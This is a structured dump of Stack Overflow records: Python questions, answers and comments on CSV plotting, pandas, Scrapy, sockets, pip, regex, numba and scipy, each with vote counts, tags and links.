has body: I have a big csv file, here is some of the data from it: "C1_E1",,,,, "Time","Force","Disp.","Stress","Strain","Stroke" "sec","N","mm","MPa","%","mm" "0","0.1192093","0","0.003017193","0","0" "0.01","0.09536743","2.083333E-05","0.002413754","1.621271E-05","2.083333E-05" "0.02","0.09536743","0.00025","0.002413754","0.0001945525","0.00025" "0.03","0.09536743","0.0013125","0.002413754","0.001021401","0.0013125" "0.04","0.09536743","0.003604167","0.002413754","0.002804799","0.003604167" "0.05","0.09536743","0.006875","0.002413754","0.005350194","0.006875" "0.06","0.09536743","0.01104167","0.002413754","0.008592736","0.01104167" "0.07","0.09536743","0.01602083","0.002413754","0.01246757","0.01602083" "0.08","0.09536743","0.02191667","0.002413754","0.01705577","0.02191667" "0.09","0.09536743","0.028625","0.002413754","0.02227626","0.028625" "0.1","0.09536743","0.035875","0.002413754","0.02791829","0.035875" "0.11","3.910065","0.04352083","0.09896392","0.03386835","0.04352083" "0.12","13.39118","0.05145833","0.3389313","0.0400454","0.05145833" "0.13","18.46155","0.05989583","0.4672626","0.04661154","0.05989583" "0.14","23.57165","0.06875","0.5965995","0.05350194","0.06875" I'm trying to plot the stress and strain columns using numpy and matplotlib so I wrote the following code: from numpy import * import matplotlib.pyplot as plt stress_data = genfromtxt('C1-E1.csv', delimiter=',', skip_header=3, usecols=([3])) strain_data = genfromtxt('C1-E1.csv', delimiter=',', skip_header=3, usecols=([4])) print(stress_data[:10], strain_data[:10]) map(float, stress_data) map(float, strain_data) print(stress_data[:10], strain_data[:10]) plt.xlabel ('x stuff') plt.ylabel ('y stuff') plt.title('my test result') plt.plot(strain_data[:10], stress_data[:10]) plt.show() The problem is that the output is [ nan nan nan nan nan nan nan nan nan nan] [ nan nan nan nan nan nan nan nan nan nan] [ nan nan nan nan nan nan nan nan nan nan] [ nan nan nan nan nan nan nan nan nan nan] and of course no plot …
answer count: 1
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/46996818
type: Question
tagged with: python-3.x
type: AnsweredQuestion
has title: Importing and plotting a csv file with python
tagged with: python
has answer: http://stackoverflow.com/a/46996818

http://stackoverflow.com/a/47001615
accepted answer of: http://stackoverflow.com/q/47001597
has comment: http://stackoverflow.com/comment/80949926
score: 2
has comment: http://stackoverflow.com/comment/80955090
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47001597
type: Answer
has body: Create boolean mask by to_numeric + notnull or apply + isinstance: #if all data strings, also numeric m = pd.to_numeric(df['BoughtFood'], errors='coerce').notnull() #if mixed df - numeric with strings m = ~df['BoughtFood'].apply(lambda x: isinstance(x, str)) #or m = df['BoughtFood'].apply(lambda x: isinstance(x, (int, float))) And then set values by loc or mask: df.loc[m, 'BoughtFood'] = 'T' print (df) AcctNo BoughtFood 0 1ABC T 1 2ABD N 2 3DBC T df['BoughtFood'] = df['BoughtFood'].mask(m, 'T') print (df) AcctNo BoughtFood 0 1ABC T 1 2ABD N 2 3DBC T Solution for multiple columns: cols = ['BoughtFood','BoughtWater'] m = df[cols].apply(lambda x: pd.to_numeric(x, errors='coerce')).notnull() df[cols] = df[cols].mask(m, 'T') print (df) AcctNo BoughtFood BoughtWater 0 1ABC T N 1 2ABD N T 2 3DBC T T

http://stackoverflow.com/comment/81039925
comment on: http://stackoverflow.com/q/47042536
score: 0
has text: Is there a reason you want to scrape this HTML rather than hitting an API? Lots of government data is accessible like this. Here's such a thing http://docs.openstates.org/en/latest/api/ they even maintain a client for python to help you out it looks like!
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47059909
type: Question
has comment: http://stackoverflow.com/comment/81068225
tagged with: python
answer count: 1
has answer: http://stackoverflow.com/a/47068068
has comment: http://stackoverflow.com/comment/81068136
has body: I've found two answers to this questions but none is working for me. Basically, I want to restrict the amount of pages crawled per domain. Here's the code in the actual crawler: def parse_page(self, response) visited_count.append(response.url.split('/')[2]) if visited_count.count(response.url.split('/')[2]) &gt; 49: print '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!' denied.append(response.url) and Custom Middleware: class IgnoreDomain(object): def process_requests(request, spider): if request in spider.denied: return IgnoreRequest() else: return None Of course middleware is mentioned in settings. I would really appreciate if you could point out what I'm doing wrong.
has comment: http://stackoverflow.com/comment/81068367
has comment: http://stackoverflow.com/comment/81067845
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81067925
linked to: http://stackoverflow.com/q/10657006
accepted answer: http://stackoverflow.com/a/47068068
has comment: http://stackoverflow.com/comment/81068781
tagged with: scrapy
has title: Moving onto next url if certain amount of pages have been crawled in scrapy

http://stackoverflow.com/comment/81021575
score: 0
comment on: http://stackoverflow.com/q/47037281
type: Comment
type: QuestionComment
has text: @PM 2Ring If I give the function the nested key i know , it would give me the dictionary nested within it? I apologize if this is a trivial question.

http://stackoverflow.com/comment/80843255
has text: I disabled `'rest_framework.permissions.IsAuthenticated'` and `'rest_framework.authentication.TokenAuthentication'` from `REST_FRAMEWORK` in settings py and now I get it. How to add it to my view?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46947907
type: Comment

http://stackoverflow.com/a/56637335
has body: Download the zip file: https://files.pythonhosted.org/packages/f5/40/36d418b950139cd09738c0924066ef340ffd6c43f79f67c6152c56a8a628/virtualenvwrapper-powershell-12.7.8.zip Unzip the file, open distribute_setup.py, and change DEFAULT_URL from http to https, rezip the file (to a fresh zip file). pip install path_to_zipfile
type: Answer
has comment: http://stackoverflow.com/comment/99845797
score: 0
answers question: http://stackoverflow.com/q/47042565

http://stackoverflow.com/comment/80924316
score: 1
type: Comment
comment on: http://stackoverflow.com/q/46988914
type: QuestionComment
has text: Try changing your 'if' into a 'while'?

http://stackoverflow.com/comment/81024625
score: 0
type: Comment
type: QuestionComment
has text: Yes, it's checking every element of the array, but it's a constant within your loop. Maybe just rewrite your code to pull it out of the loop a a constant, and you'll see more clearly what's going on. Your confusion is what you're looping over and what your not. Currently you're just doing exactly the same thing N times, and then returning the last time. It makes no sense. For example, remove the loop (and just leave the interior for a single pass) and you'll see you get exactly the same output.
comment on: http://stackoverflow.com/q/47037946

http://stackoverflow.com/q/47006615
type: UnansweredQuestion
answer count: 1
has body: I have a client program that connects to the server socket and sends a string to be evaluated in the server.py file. Once evaluated, the server will send back a response. The client takes the response and displays it and then sends another string to the server. However, the server does not accept any other requests after evaluation. Here's the server.py file: import socket import logging logging.basicConfig(level=logging.ERROR) def binomial(n,m): b = 1 for i in range(0,m): b = b * (n-i) // (i+1) return b # 1. Create Socket port= 12345 listner=socket.socket() # 2. Bind with ip address and port number listner.bind(("", port)) # 3. Generate listener listner.listen(0) # 4. Waits for a connection request while True: (sock, address)=listner.accept() # waits for a connection request # When successful, it returns a socket # and an address to use to communicate # with the client # 4.1 Get data from the client print(address) logging.info("Connection established with"+str(address)) bytes = sock.recv(2048) client_data="" while len(bytes)&gt;0: client_data+=bytes.decode() #UTF-8 bytes=sock.recv(2048) # 4.2 Parse the data from the client list_of_parts=client_data.split(" ") # "12 6" =&gt; ["12", "6"] # "12 6" =&gt; ["12", "", "6"] # "twelve six" =&gt; ["twelve" "six"] if len(list_of_parts)!=2: # signal an error # error response response_status="E" response_message="Incorrect number of parameters sent" logging.error("Incorrect number of parameters sent") else: try: # 4.3 Compute the binomial function # try to convert the two elements to numeric # compute and generate response result=binomial(int(list_of_parts[0]), int(list_of_parts[1])) response_status="B" response_message=str(result) except: # signal a coversion problem or computation problem # error response response_status = "E" response_message = "Conversion or computation error" # 4.4 Create a response message=response_status+response_message response_byte=message.encode() # 4.5 Send the response to the client sock.sendall(re…
type: Question
score: 0
has title: How do I make a server accept requests after sending a response?
tagged with: sockets
has answer: http://stackoverflow.com/a/47006727
tagged with: python

http://stackoverflow.com/comment/80817145
has text: so in order to restart the project just adding the "class User" first and migrating, and thanks for the help by the way
type: Comment
comment on: http://stackoverflow.com/a/46934458
score: 0
type: AnswerComment

http://stackoverflow.com/a/46981855
score: 1
type: Answer
upvote count: 2
type: AcceptedAnswer
downvote count: 1
answers question: http://stackoverflow.com/q/46962577
has body: I think this is answered here: Getting error 403 while installing package with pip Here is the link they provided: https://mail.python.org/pipermail/distutils-sig/2017-October/031712.html Short answer: http support dropped from pypi on Oct 26, 2017.
has comment: http://stackoverflow.com/comment/81329039
accepted answer of: http://stackoverflow.com/q/46962577

http://stackoverflow.com/a/47027520
answers question: http://stackoverflow.com/q/47027451
downvote count: 0
score: 6
has body: Your code is fine but print finley['c'].append(crazy_sauce['d']) prints none since finley['c'].append(crazy_sauce['d']) returns none. you remove print here and add a print finley['c'] in next line finley = {'a':0, 'b':2, 'c':[41,51,61]} crazy_sauce = {'d':3} finley['c'].append(crazy_sauce['d']) print finley['c']
type: Answer
upvote count: 6

http://stackoverflow.com/q/46937916
has body: I can't figure out what I'm doing wrong. I want a simple way of matching the char and position in two strings. The error is that it's not recognizing what I'm intending as an index. I'm new at this. :) I think experts can understand what I'm starting to try to do here. I don't want to copy a complicated bulls and cows code, I'm just trying to do this early part. Please advise: def bulls_and_cows(real, guess): bulls = 0 cows = 0 for i in guess: if i == i in real: if i[x] == i[x] bulls = bulls + 1 print ("Bullseye!") print(bulls) else: print("No") bulls_and_cows("like", "brig")
has answer: http://stackoverflow.com/a/46938314
has answer: http://stackoverflow.com/a/46938275
type: Question
tagged with: indexing
has answer: http://stackoverflow.com/a/46938077
has comment: http://stackoverflow.com/comment/80823159
type: UnansweredQuestion
tagged with: python
answer count: 6
has answer: http://stackoverflow.com/a/46939528
has comment: http://stackoverflow.com/comment/80823936
has comment: http://stackoverflow.com/comment/80823347
has comment: http://stackoverflow.com/comment/80826174
has answer: http://stackoverflow.com/a/46938675
tagged with: char
score: 0
has answer: http://stackoverflow.com/a/46938105
has title: Python - char and index match
tagged with: string

http://stackoverflow.com/comment/81294084
score: 0
type: AnswerComment
type: Comment
has text: This is correct. I tried it. "sys.executable" prints venv's python path but "which python" prints system python. Thanks @georgexsh
comment on: http://stackoverflow.com/a/47051469

http://stackoverflow.com/comment/81070566
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47061371
score: 0
has text: `(\(.*\)|\[.*\]|\{.*\}|\<.*\>)` ?

http://stackoverflow.com/a/46958267
score: 0
has comment: http://stackoverflow.com/comment/80864311
has comment: http://stackoverflow.com/comment/80864661
answers question: http://stackoverflow.com/q/46958127
type: Answer
has comment: http://stackoverflow.com/comment/80864717
has comment: http://stackoverflow.com/comment/80866403
has body: There are several ways to obtain the Euclidean Distance between the points: Numpy: import numpy as np dist = np.linalg.norm(x-y) dist1= np.sqrt(np.sum((x-y)**2))) Scipy: from scipy.spatial import distance dist = distance.euclidean(x,y)

http://stackoverflow.com/a/47056374
upvote count: 1
answers question: http://stackoverflow.com/q/47054796
downvote count: 0
type: Answer
has body: My idea is to use class based decorators, which are simple and gives intermediate context to share between decorated functions. So decorator would look like this (I am using python3.5): class OnInitialize: methods = {} def __init__(self, precedence): self.precedence = precedence def __call__(self, func): self.methods[self.precedence] = func def wrapper(*a, **kw): for precedence in sorted(self.methods.keys()): self.methods[precedence](*a, **kw) return wrapper on decoration, first of all init is executed and it stores the precedence value for further use. Secondly the call is executed which just appends target function to the methods dictionary (Please note that call and methods structure could be customized to allow calling multiple methods with same precedence). on the other hand, target class and methods would look like this class Target: @OnInitialize(precedence=-1) def say_hi(self): print("say_hi") @OnInitialize(precedence=0) def initialize(self): print("initialize") @OnInitialize(precedence=1) def start_processing_events(self): print("start_processing_events") which ensures that, if one of the following methods are called, it will call all the decorated methods with given order. target = Target() target.initialize() Hope it helps, please comment me below if you were interested in something other.
has comment: http://stackoverflow.com/comment/81060876
score: 1

http://stackoverflow.com/comment/80807034
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46916153
has text: Related, if not duplicate: https://stackoverflow.com/questions/9298296/sqlalchemy-support-of-postgres-schemas
type: Comment

http://stackoverflow.com/a/46925391
type: Answer
score: 0
has body: You can use np.where to assign a new column C equal to a value of 1 if A is greater than B otherwise a a value of zero. Then use .loc to check where A and B are equal, where you then assign column C with a value of zero. df = df.assign(C=np.where(df['A'].gt(df['B']), 1, -1)) df.loc[df['A'] == df['B'], 'C'] = 0 &gt;&gt;&gt; df A B C 0 1 2 -1 1 4 3 1 2 5 5 0
answers question: http://stackoverflow.com/q/46925084

http://stackoverflow.com/a/47081319
has comment: http://stackoverflow.com/comment/81111830
type: Answer
has comment: http://stackoverflow.com/comment/81112244
score: 2
answers question: http://stackoverflow.com/q/47064474
has comment: http://stackoverflow.com/comment/81111969
downvote count: 0
has body: Everything not supported by Numba nopython-mode probably won't be (noticeably) faster than plain Python, sometimes it will even be slower (even rarer it will be much slower). From your description it seems like what you didn't show is something numba can actually optimize. So my suggestion would be to refactor the code hidden in your ... in a function that you decorate with jit: import numba as nb import json def main_func(stream): for json_str in stream: try: obj = json.loads(json_str) inner_func(obj) sys.stdout.write(...) except: sys.stderr.write(...) @nb.jit def inner_func(obj): ... So the part that is actually supported and optimized by numba is in a seperate function and all the other stuff is done in the outer function that isn't jitted by numba. If you're lucky (but since numba doesn't support nopython mode with dicts and strings that's unlikely) numba will compile the inner_func in nopython mode and give you even more speedups. More generally: If your code does compile when you decorate it with @nb.njit it will be really fast. If it doesn't compile with @nb.njit but only with @nb.jit you cannot know if it's faster or slower because numba will use a mix of object mode and nopython mode, so some parts will be fast, others will be slow. The slow parts shouldn't be in the jitted function (because they could prevent further numba optimizations).
has comment: http://stackoverflow.com/comment/81111931
upvote count: 2

http://stackoverflow.com/comment/80804338
type: AnswerComment
comment on: http://stackoverflow.com/a/46928763
type: Comment
has text: Won't these changes try to process an erroneous record instead of skipping it?
score: 0

http://stackoverflow.com/q/47047881
tagged with: python
has comment: http://stackoverflow.com/comment/81054831
score: 1
has answer: http://stackoverflow.com/a/59468771
tagged with: topic-modeling
favorite count: 0
type: Question
has body: Here is a piece of the dataset I will be using: u'tff prep normalized clean water permability ncwp result outside operating range', u'technician inadvertently omitted documenting initial room \u201c cleaned sanitized field form', u'sunflower seed observed floor room 1', And here is the code I am using: tfidf_model = vectorizer.fit_transform(input_document_lower) tfidf_feature_names = vectorizer.get_feature_names() nmf = NMF(n_components=no_topics, random_state=1, alpha=.1, l1_ratio=.5, init='nndsvd').fit(tfidf_model) Like the title states, I'm getting the following error: IndexError: index 4 is out of bounds for axis 1 with size 4 I'm honestly not sure how to start debugging this. I built an LDA using the the same dataset and had no issues. Any help would be much appreciated
tagged with: nmf
type: UnansweredQuestion
has title: Non-Negative Matrix Factorization - IndexError: index 4 is out of bounds for axis 1 with size 4
downvote count: 0
upvote count: 1
tagged with: machine-learning
has answer: http://stackoverflow.com/a/48290626
answer count: 3
has answer: http://stackoverflow.com/a/51976010

http://stackoverflow.com/comment/80782955
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46915428
type: AnswerComment
has text: Yeah sorry I'm quite new to this, I'll do some more background reading to get my head around things.

http://stackoverflow.com/comment/80847127
has text: Oh yeah, I can't believe I'm blind at this point. It solved the problem. Thanks !
score: 0
comment on: http://stackoverflow.com/q/46949681
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47024046
score: 1
upvote count: 1
type: AcceptedAnswer
has body: Windows filenames always have to be entered as raw strings (in all of python, not just with tkinter). Also, you'll have to make a root window first. Try this: from tkinter import * root = Tk() photo = PhotoImage(file=r"C:\Temp\test\computer.gif") Label(root, image=photo, height="10", width="20").pack() root.mainloop()
answers question: http://stackoverflow.com/q/47024014
has comment: http://stackoverflow.com/comment/80995245
accepted answer of: http://stackoverflow.com/q/47024014
has comment: http://stackoverflow.com/comment/80995295
type: Answer
has comment: http://stackoverflow.com/comment/80997814
downvote count: 0

http://stackoverflow.com/q/47061371
tagged with: regex
has comment: http://stackoverflow.com/comment/81072944
has comment: http://stackoverflow.com/comment/81070881
has comment: http://stackoverflow.com/comment/81070937
accepted answer: http://stackoverflow.com/a/47064025
favorite count: 0
has comment: http://stackoverflow.com/comment/81071290
score: -1
has comment: http://stackoverflow.com/comment/81071833
has answer: http://stackoverflow.com/a/47064025
type: Question
has title: mapping regular expression group matches
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/81071011
answer count: 1
has comment: http://stackoverflow.com/comment/81070617
has body: I want to match the regular expressions \(.*\), \[.*\], \{.*\}, and \&lt;.*\&gt;. Is there a way to combine these regular expressions? For example, I had in mind something like: ([\(\[\{\&lt;]).*\1, but of course this matches \(.*\(, \[.*\[, \{.*\{, and \&lt;.*\&lt;. My goal is to be able to match a previous regular expression group, but apply a function to the group before matching it. Consider: def match_pairs(pairs): re = '|'.join("({begin}.*{end})".format(begin=beg, end=end) for (beg, end) in pairs) return re I'm considering using something similar to the above function for now, but ideally this function wouldn't return a really long regex. Do let me know if you think this question doesn't have any practical merit. I'm still curious to know if Python3 supports any feature like this, sort of how like re.sub can take a function as the replacement. If no such feature exists, how can I write match_pairs so that it can take in ["()", "[]", "[]", "{}"] as an argument?
has comment: http://stackoverflow.com/comment/81070566
has comment: http://stackoverflow.com/comment/81070906
has comment: http://stackoverflow.com/comment/81073624
has comment: http://stackoverflow.com/comment/81071408
has comment: http://stackoverflow.com/comment/81071639
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81070862
tagged with: python

http://stackoverflow.com/comment/81016378
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47019759
type: AnswerComment
has text: It worked, thanks! When I do this tho, I get three colums: `t`, `vol`, and `volume`, instead of two. both `vol` and `volume` give me the sum volumes for `t` (the thing I want), so I'm not complaining, but it just doesn't look as pretty as just 2 columns. Any idea for how to fix?

http://stackoverflow.com/comment/80989616
type: AnswerComment
comment on: http://stackoverflow.com/a/47020691
has text: @DevinHaslam in short, it's a simple `plus` operation, exactly as it is pictured. But you may also need to pad dimensions with zeros to match the shapes of both tensors (the number of channels changes). I'll be happy to answer in detail if you ask a particular question.
score: 0
type: Comment

http://stackoverflow.com/a/46941243
downvote count: 0
has body: I am not really sure whether or not I fully understood the question, but maybe something like this would help? def square(x): if 'numpy' in str(type(x)): return np.square(x) else: if isinstance(x, list): return list(np.square(x)) if isinstance(x, int): return int(np.square(x)) if isinstance(x, float): return float(np.square(x)) I defined some test cases: np_array_one = np.array([3.4]) np_array_mult = np.array([3.4, 2, 6]) int_ = 5 list_int = [2, 4, 2.9] float_ = float(5.3) list_float = [float(4.5), float(9.1), float(7.5)] examples = [np_array_one, np_array_mult, int_, list_int, float_, list_float] So we can see how the function behaves. for case in examples: print 'Input type: {}.'.format(type(case)) out = square(case) print out print 'Output type: {}'.format(type(out)) print '-----------------' And the output: Input type: &lt;type 'numpy.ndarray'&gt;. [ 11.56] Output type: &lt;type 'numpy.ndarray'&gt; ----------------- Input type: &lt;type 'numpy.ndarray'&gt;. [ 11.56 4. 36. ] Output type: &lt;type 'numpy.ndarray'&gt; ----------------- Input type: &lt;type 'int'&gt;. 25 Output type: &lt;type 'int'&gt; ----------------- Input type: &lt;type 'list'&gt;. [4.0, 16.0, 8.4100000000000001] Output type: &lt;type 'list'&gt; ----------------- Input type: &lt;type 'float'&gt;. 28.09 Output type: &lt;type 'float'&gt; ----------------- Input type: &lt;type 'list'&gt;. [20.25, 82.809999999999988, 56.25] Output type: &lt;type 'list'&gt; ----------------- From the test cases, the input and output is always same. However, the function is not really clean. I used some of the code from this question at SO.
has comment: http://stackoverflow.com/comment/80829739
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/80829738
upvote count: 3
answers question: http://stackoverflow.com/q/46941241

http://stackoverflow.com/comment/81369065
has text: the question is specifically about celery multi.
comment on: http://stackoverflow.com/a/47024853
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80962958
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47008125
has text: @JesseBarnett Absolutely correct. Forgive me. Will edit to reflect.
type: Comment

http://stackoverflow.com/comment/81004231
has text: This is duplicate of https://stackoverflow.com/questions/38189660/two-variables-in-python-have-same-id-but-not-lists-or-tuples
type: QuestionComment
comment on: http://stackoverflow.com/q/47028646
type: Comment
score: 0

http://stackoverflow.com/q/47033180
has answer: http://stackoverflow.com/a/47033309
tagged with: character-encoding
has title: Python script errors out when run from mac cron job but not from mac terminal
tagged with: macos
type: Question
has body: I have a Python v3.6 script which reads from database which has some data with Chinese characters. This script gives error when I schedule it to run from Mac Cron Job; however executes fine when run from my Mac's Terminal. Any idea, if we need to enable some language pack or something when we run script from Cron job? Crontab command: #*/2 * * * * /usr/local/bin/python3 /Users/admin/Documents/Scripts/wht/gbi.py &gt;&gt; test.txt
tagged with: python
has comment: http://stackoverflow.com/comment/81012783
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81012950
has comment: http://stackoverflow.com/comment/81012822
tagged with: cron
accepted answer: http://stackoverflow.com/a/47033309
answer count: 1
has comment: http://stackoverflow.com/comment/81013036

http://stackoverflow.com/a/47020161
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80989738
has comment: http://stackoverflow.com/comment/80988830
has body: If you want to sort a list based on more than one criteria, you can do this with a lamda function that returns a tuple A small example: ZZ= [[500, 475], [500, 1307], [1500, 1476], [500, 537], [0, 527], [500, 452], [1000, 446]] YY = sorted(ZZ,reverse=True,key=lambda y: (y[0],y[0]-y[1])) y[0] ist the first value and y[0]-y[1] is the difference. If you want to bring in a second list (Cost) you can combine the two lists and (if you need it) the position. ZZ= [[500, 475], [500, 1307], [1500, 1476], [500, 537], [0, 527], [500, 452], [1000, 446]] Cost=[600, 110, 35, 110, 200, 120, 80] ZZc=[ZZ[z]+[Cost[z]]+[z] for z in range(len(ZZ))] print(ZZc) prints [[500, 475, 600, 0], [500, 1307, 110, 1], [1500, 1476, 35, 2], [500, 537, 110, 3], [0, 527, 200, 4], [500, 452, 120, 5], [1000, 446, 80, 6]] and now you can sort it with YY = sorted(ZZc,reverse=True,key=lambda y: (y[0],y[0]-y[1],y[2])) or if you want to sort 1. Value 1, 2. Cost and 3. Difference you can sort it with: YY = sorted(ZZc,reverse=True,key=lambda y: (y[0],y[2],y[0]-y[1])) to get the list of tuples in your question the script would be like: ZZ= [[[500, 475], [500, 1307], [1500, 1476], [500, 537], [0, 527], [500, 452], [1000, 446]], [[350, 475], [700, 1307], [1050, 1476], [0, 537], [350, 527], [350, 452], [700, 446]], [[400, 475], [1200, 1307], [1200, 1476], [200, 537], [400, 527], [400, 452], [800, 446]]] Cost=[600, 110, 35, 110, 200, 120, 80] YY=[] for Zi in ZZ: ZZi=[Zi[z]+[Cost[z]]+[z] for z in range(len(Zi))] YY.append(sorted(ZZi,reverse=True,key=lambda y: (y[0],y[2],y[0]-y[1]))) for Yi in YY: print([(y[3],[y[0],y[1]]) for y in Yi]) My original answer befor I knew that you can sort with tuples (it works but don't use ist): You can sort it with ZZ= [[[500, 475], [500, 1307], [1500, 1476], [500, 537], [0, 527], [500, 452], [1000, 446]], [[350, 475], [700, 1307], [1050, 1476], [0, 537], [350, 527], [350, 452], [700, 446]], [[400, 475], [1200, 1307], [1200, 1476], [200, 537], [400, 527], [400, 452], [800, 446]]] Cost=…
has comment: http://stackoverflow.com/comment/81024108
accepted answer of: http://stackoverflow.com/q/47019002
has comment: http://stackoverflow.com/comment/80988075
answers question: http://stackoverflow.com/q/47019002
type: Answer
has comment: http://stackoverflow.com/comment/80988209
has comment: http://stackoverflow.com/comment/80988458
has comment: http://stackoverflow.com/comment/80988558
has comment: http://stackoverflow.com/comment/81026961
has comment: http://stackoverflow.com/comment/80988581
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/47030271
type: Question
score: 0
has body: &lt;html&gt;&lt;table&gt;...&lt;table&gt;...&lt;/table&gt;...&lt;/table&gt;&lt;table&gt;...&lt;/table&gt;...&lt;/html&gt; For example, if I use soup.find_all('table') for the above soup, I will obtain three tables. I want to make it such that it will not dig deeper into the soup after it obtains the first instance of table and will try to find the next instance of that table after the current instance. In other word, it will return the first table with the table nested inside and the second table. I wish to know what would be the most efficient method of carrying out this course of action. Right now, I'm handling it with by doing: from copy import deepcopy tables = soup.find_all('table') reduced_tables = deepcopy(tables) for table in tables: if list(filter(lambda x: table !=x and table in x, tables)) != []: reduced_tables.remove(table)
answer count: 1
has comment: http://stackoverflow.com/comment/81007930
tagged with: beautifulsoup
tagged with: python-3.x
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81010647
tagged with: python
has answer: http://stackoverflow.com/a/47033262
has title: How to find only the top most instances of search in Beautiful Soup?
accepted answer: http://stackoverflow.com/a/47033262

http://stackoverflow.com/a/46941962
has body: It's hard to say what went wrong without a sample dataframe... Maybe today_date is not of type DateType (it's a StringType perhaps?). Here's a quick example to test your code which works: from datetime import date sc.parallelize([[m, date(2017, m, 1)] for m in range(1, 11)]).toDF(["a", "today_date"]).registerTempTable("dataframe1") sc.parallelize([[m, 10*m] for m in range(10)]).toDF(["a", "days"]).registerTempTable("dataframe2") I used SQLContext here because it doesn't have all the functions HiveContext has so it's usually the most problematic. However the code works fine for HiveContext and spark.sql (in Spark 2): from pyspark.sql import SQLContext sqlcontext = SQLContext(sc) sqlcontext.sql("select date_add(today_date,days) as Future_date from dataframe1 x1 join dataframe2 x2 on x1.a=x2.a").show() +-----------+ |Future_date| +-----------+ | 2017-09-09| | 2017-07-31| | 2017-11-30| | 2017-06-20| | 2017-01-11| | 2017-03-31| | 2017-10-20| | 2017-02-21| | 2017-05-11| +-----------+
answers question: http://stackoverflow.com/q/46914379
type: Answer
score: 0

http://stackoverflow.com/a/47060464
has comment: http://stackoverflow.com/comment/81069885
answers question: http://stackoverflow.com/q/47060280
upvote count: 2
type: Answer
has body: You can do this: def get_unq_inds(a, b, c): uniq_vals = list(set(a).intersection(b).intersection(c)) return [a.index(x) for x in uniq_vals], [b.index(x) for x in uniq_vals], [c.index(x) for x in uniq_vals] # you can use this for boolean values #return [x in uniq_vals for x in a], [x in uniq_vals for x in b], [x in uniq_vals for x in c] OUTPUT a_inds, b_inds, c_inds = get_unq_inds(range(9), range(3,12), range(-2,8)) &gt;&gt;&gt; a_inds, b_inds, c_inds ([3, 4, 5, 6, 7], [0, 1, 2, 3, 4], [5, 6, 7, 8, 9]) OUTPUT for boolean values : [False, False, False, True, True, True, True, True, False] [True, True, True, True, True, False, False, False, False] [False, False, False, False, False, True, True, True, True, True] Live demo here
score: 2
accepted answer of: http://stackoverflow.com/q/47060280
has comment: http://stackoverflow.com/comment/81068650
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80778174
has text: Is scipy or numpy solution ohk for you ? Or should it be pure python
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46915406
score: 0

http://stackoverflow.com/a/47016614
score: 3
upvote count: 3
downvote count: 0
has body: This should work list(map(lambda i: sum(i), zip(spot, forwardSwap)))
type: Answer
answers question: http://stackoverflow.com/q/47016504

http://stackoverflow.com/a/46960936
accepted answer of: http://stackoverflow.com/q/46953105
has comment: http://stackoverflow.com/comment/80904902
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80897104
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46953105
has comment: http://stackoverflow.com/comment/80897128
has comment: http://stackoverflow.com/comment/80928503
has comment: http://stackoverflow.com/comment/80905286
has body: First, apart from the first part (before the multiplication operator), we are discussing what is generally called maximum likelihood estimation (MLE) for the exponential distribution. It has just been reparameterised in terms of something called a. We want to estimate this single parameter based on a sample of diameters; there is no scale parameter. Under MLE, we pretend that the sample is fixed and treat the parameter as something that can be varied. We form the likelihood of the sample by taking the product of the density functions (not the cdfs) where each density function is to be calculated for one element of the sample. (Likelihood is, in concept, like throwing a die twice. In ultra ugly terms, we could say that the likelihood of getting two ones in a row might be (1/6)(1/6).) We want to maximise this likelihood. However, to make the optimisation problem mathematically and/or computationally tractable we take the function's logarithm. Since all of its constituent functions are densities, less than one, this function must be everywhere less than zero. Thus, the maximisation problem becomes one of minimisatiion. If you want to avoid almost all of the algebra then you would: Write a function to calculate the density function for a given diameter and parameter value. Write another function that would accept a density function parameter value as its Python parameter, and the sample as its second. Make it call the first function once for each sample value, take the log of each of these and return the sum of these. Call minimize with the second function as its first argument, some reasonable guess for the density function parameter, in a list, as the second argument, the sample for args. Nelder-Mead is probably ok. Edit: In a nutshell: diameters =[ 0.19, 0.19, 0.19, 0.2, 0.21, 0.21, 0.22, 0.22, 0.22, 0.25, 0.27] from scipy.optimize import minimize from math import exp, log def pdf(d, a): result = d*exp(-d/a)/a**2 return result def log_L(a, diameters): result = sum(lo…
type: Answer
has comment: http://stackoverflow.com/comment/80897074

http://stackoverflow.com/comment/80946346
type: QuestionComment
comment on: http://stackoverflow.com/q/46995019
score: 0
has text: @Code-Apprentice But the code in the subfile.py delete the folder with main.py in, and replaces it with another, so i cant run it from main.py because it cant delete itself.
type: Comment

http://stackoverflow.com/q/46917904
has title: Python XML Parsing - Get XML File Name
has comment: http://stackoverflow.com/comment/80793921
upvote count: 2
accepted answer: http://stackoverflow.com/a/46923406
answer count: 1
downvote count: 0
tagged with: elementtree
favorite count: 0
tagged with: parsing
type: Question
has comment: http://stackoverflow.com/comment/80786664
has comment: http://stackoverflow.com/comment/80786776
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has answer: http://stackoverflow.com/a/46923406
